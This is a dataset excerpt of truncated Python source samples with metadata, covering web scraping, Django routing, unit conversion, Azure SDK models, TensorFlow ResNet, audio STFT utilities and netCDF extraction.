ZhongXinWang/python
0
4987
#!/usr/bin/env python3 # -*- coding: utf-8 -*- #Author:Winston.Wang import requests from bs4 import BeautifulSoup print(dir(BeautifulSoup)) url = 'http://www.baidu.com'; with requests.get(url) as r: r.encoding='utf-8' soup = BeautifulSoup(r.text) #格式化 pret = soup.prettify(); u = soup.select('#u1 a') for i in u: ...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- #Author:Winston.Wang import requests from bs4 import BeautifulSoup print(dir(BeautifulSoup)) url = 'http://www.baidu.com'; with requests.get(url) as r: r.encoding='utf-8' soup = BeautifulSoup(r.text) #格式化 pret = soup.prettify(); u = soup.select('#u1 a') for i in u: ...
en
0.217051
#!/usr/bin/env python3 # -*- coding: utf-8 -*- #Author:Winston.Wang #格式化
3.199517
3
blogsNewsModule/urls.py
adityakekare/NewsAPIDjango
1
4988
<gh_stars>1-10 from django.urls import path, include from . import views urlpatterns = [ path("", views.newsView, name="home"), path("createBlog", views.CreateBlogView.as_view(), name="createBlog"), path("myBlogs", views.PostListView.as_view(), name="myBlogs"), path("single/<int:pk>", views.PostDetailV...
from django.urls import path, include from . import views urlpatterns = [ path("", views.newsView, name="home"), path("createBlog", views.CreateBlogView.as_view(), name="createBlog"), path("myBlogs", views.PostListView.as_view(), name="myBlogs"), path("single/<int:pk>", views.PostDetailView.as_view(), ...
en
0.78806
# API urls for superuser
2.120774
2
unitClass.py
MatthewZheng/UnitsPlease
0
4989
<reponame>MatthewZheng/UnitsPlease #!/usr/bin/python _author_ = "<NAME>" _purpose_ = "Sets up the unit class" class Unit: '''This is a class of lists''' def __init__(self): self.baseUnits = ["m", "kg", "A", "s", "K", "mol", "cd", "sr", "rad"] self.derivedUnits = ["Hz", "N", "Pa", "J", "W", "C",...
#!/usr/bin/python _author_ = "<NAME>" _purpose_ = "Sets up the unit class" class Unit: '''This is a class of lists''' def __init__(self): self.baseUnits = ["m", "kg", "A", "s", "K", "mol", "cd", "sr", "rad"] self.derivedUnits = ["Hz", "N", "Pa", "J", "W", "C", "V", "F", "ohm", "S", "Wb", "T", "...
en
0.721857
#!/usr/bin/python This is a class of lists Converts elements in str list to base units #checks if it has a carat in the expression #converts non-unary unit to base unit and checks for squared variables #identify prefix removed #checks if it is a special unit #append in case for special units #append in case for base un...
3.665892
4
week4/string_format.py
MathAdventurer/Data_Mining
1
4990
# -*- coding: utf-8 -*- """ Created on Wed Feb 26 22:23:07 2020 @author: <NAME> Try to construct URL with string.format """ base_url = "http://quotes.money.163.com/service/gszl_{:>06}.html?type={}" stock = "000002" api_type = 'cp' print("http://quotes.money.163.com/service/gszl_"+stock+".html?type="+ap...
# -*- coding: utf-8 -*- """ Created on Wed Feb 26 22:23:07 2020 @author: <NAME> Try to construct URL with string.format """ base_url = "http://quotes.money.163.com/service/gszl_{:>06}.html?type={}" stock = "000002" api_type = 'cp' print("http://quotes.money.163.com/service/gszl_"+stock+".html?type="+ap...
en
0.741753
# -*- coding: utf-8 -*- Created on Wed Feb 26 22:23:07 2020 @author: <NAME> Try to construct URL with string.format
3.166038
3
conans/server/server_launcher.py
Wonders11/conan
6,205
4991
<gh_stars>1000+ from conans.server.launcher import ServerLauncher from conans.util.env_reader import get_env launcher = ServerLauncher(server_dir=get_env("CONAN_SERVER_HOME")) app = launcher.server.root_app def main(*args): launcher.launch() if __name__ == "__main__": main()
from conans.server.launcher import ServerLauncher from conans.util.env_reader import get_env launcher = ServerLauncher(server_dir=get_env("CONAN_SERVER_HOME")) app = launcher.server.root_app def main(*args): launcher.launch() if __name__ == "__main__": main()
none
1
1.70952
2
sdk/videoanalyzer/azure-mgmt-videoanalyzer/azure/mgmt/videoanalyzer/models/_models.py
praveenkuttappan/azure-sdk-for-python
2,728
4992
<filename>sdk/videoanalyzer/azure-mgmt-videoanalyzer/azure/mgmt/videoanalyzer/models/_models.py # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root fo...
<filename>sdk/videoanalyzer/azure-mgmt-videoanalyzer/azure/mgmt/videoanalyzer/models/_models.py # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root fo...
en
0.702112
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
1.852693
2
blender/arm/material/cycles.py
philipmduarte/armory
1
4993
# # This module builds upon Cycles nodes work licensed as # Copyright 2011-2013 Blender Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2...
# # This module builds upon Cycles nodes work licensed as # Copyright 2011-2013 Blender Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2...
en
0.416387
# # This module builds upon Cycles nodes work licensed as # Copyright 2011-2013 Blender Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2...
1.662089
2
src/config.py
Jizanator/botty
0
4994
import configparser import numpy as np import os class Config: def _select_val(self, section: str, key: str = None): if section in self._custom and key in self._custom[section]: return self._custom[section][key] elif section in self._config: return self._config[se...
import configparser import numpy as np import os class Config: def _select_val(self, section: str, key: str = None): if section in self._custom and key in self._custom[section]: return self._custom[section][key] elif section in self._config: return self._config[se...
en
0.601208
# print_warnings, what a hack... here it is, not making the effort # passing a single config instance through bites me in the ass # Added for dclone ip hunting # Check if any added items miss templates # Check if any item templates miss a config
2.641168
3
aps/transform/utils.py
haoxiangsnr/aps
2
4995
# Copyright 2019 <NAME> # License: Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) import math import numpy as np import torch as th import torch.nn as nn import torch.nn.functional as tf import librosa.filters as filters from aps.const import EPSILON from typing import Optional, Union, Tuple def init_wind...
# Copyright 2019 <NAME> # License: Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) import math import numpy as np import torch as th import torch.nn as nn import torch.nn.functional as tf import librosa.filters as filters from aps.const import EPSILON from typing import Optional, Union, Tuple def init_wind...
en
0.627172
# Copyright 2019 <NAME> # License: Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) Return window coefficient Args: wnd: window name frame_len: length of the frame # match with librosa Return STFT kernels Args: frame_len: length of the frame frame_hop: hop size between fra...
2.04985
2
applications/tensorflow/cnns/models/resnet.py
xihuaiwen/chinese_bert
0
4996
<reponame>xihuaiwen/chinese_bert # Copyright 2019 Graphcore Ltd. from models.resnet_base import ResNet import tensorflow.compat.v1 as tf import tensorflow.contrib as contrib from tensorflow.python.ipu import normalization_ops # This is all written for: NHWC class TensorflowResNet(ResNet): def __init__(self, *ar...
# Copyright 2019 Graphcore Ltd. from models.resnet_base import ResNet import tensorflow.compat.v1 as tf import tensorflow.contrib as contrib from tensorflow.python.ipu import normalization_ops # This is all written for: NHWC class TensorflowResNet(ResNet): def __init__(self, *args, **kwargs): self.dtype...
en
0.882803
# Copyright 2019 Graphcore Ltd. # This is all written for: NHWC # Perhaps use tf.nn.fused_batch_norm instead.
2.123125
2
backend/app/migrations/0021_auto_20201205_1846.py
mareknowak98/AuctionPortal
0
4997
<filename>backend/app/migrations/0021_auto_20201205_1846.py<gh_stars>0 # Generated by Django 3.1.4 on 2020-12-05 18:46 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app', '0020_auto_20201204_2324'), ] operations = [ migrations.AlterFi...
<filename>backend/app/migrations/0021_auto_20201205_1846.py<gh_stars>0 # Generated by Django 3.1.4 on 2020-12-05 18:46 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app', '0020_auto_20201204_2324'), ] operations = [ migrations.AlterFi...
en
0.832781
# Generated by Django 3.1.4 on 2020-12-05 18:46
1.351988
1
rawcdf_extract.py
bedaro/ssm-analysis
0
4998
<reponame>bedaro/ssm-analysis<gh_stars>0 #!/usr/bin/env python3 import time import os import tempfile import shutil import logging from enum import Enum from argparse import ArgumentParser, Namespace, FileType from netCDF4 import Dataset, MFDataset import geopandas as gpd import numpy as np domain_nodes_shp = "gis/ss...
#!/usr/bin/env python3 import time import os import tempfile import shutil import logging from enum import Enum from argparse import ArgumentParser, Namespace, FileType from netCDF4 import Dataset, MFDataset import geopandas as gpd import numpy as np domain_nodes_shp = "gis/ssm domain nodes.shp" masked_nodes_txt = "g...
en
0.786519
#!/usr/bin/env python3 # Iterate over all output variables # If an extraction attribute is "all": # - add the 'siglay' dimension to the output if it's not already present # - include the 'siglay' dimension on the output variable # - add a 'zeta' output variable # TODO handle photic case # Gotten from https://stackoverf...
2.199996
2
libcity/executor/map_matching_executor.py
nadiaaaaachen/Bigscity-LibCity
1
4999
<filename>libcity/executor/map_matching_executor.py from logging import getLogger from libcity.executor.abstract_tradition_executor import AbstractTraditionExecutor from libcity.utils import get_evaluator class MapMatchingExecutor(AbstractTraditionExecutor): def __init__(self, config, model): self.model ...
<filename>libcity/executor/map_matching_executor.py from logging import getLogger from libcity.executor.abstract_tradition_executor import AbstractTraditionExecutor from libcity.utils import get_evaluator class MapMatchingExecutor(AbstractTraditionExecutor): def __init__(self, config, model): self.model ...
en
0.162801
use model to test data Args: test_data 对于传统模型,不需要训练 Args: train_dataloader(torch.Dataloader): Dataloader eval_dataloader(torch.Dataloader): Dataloader # do nothing
2.514768
3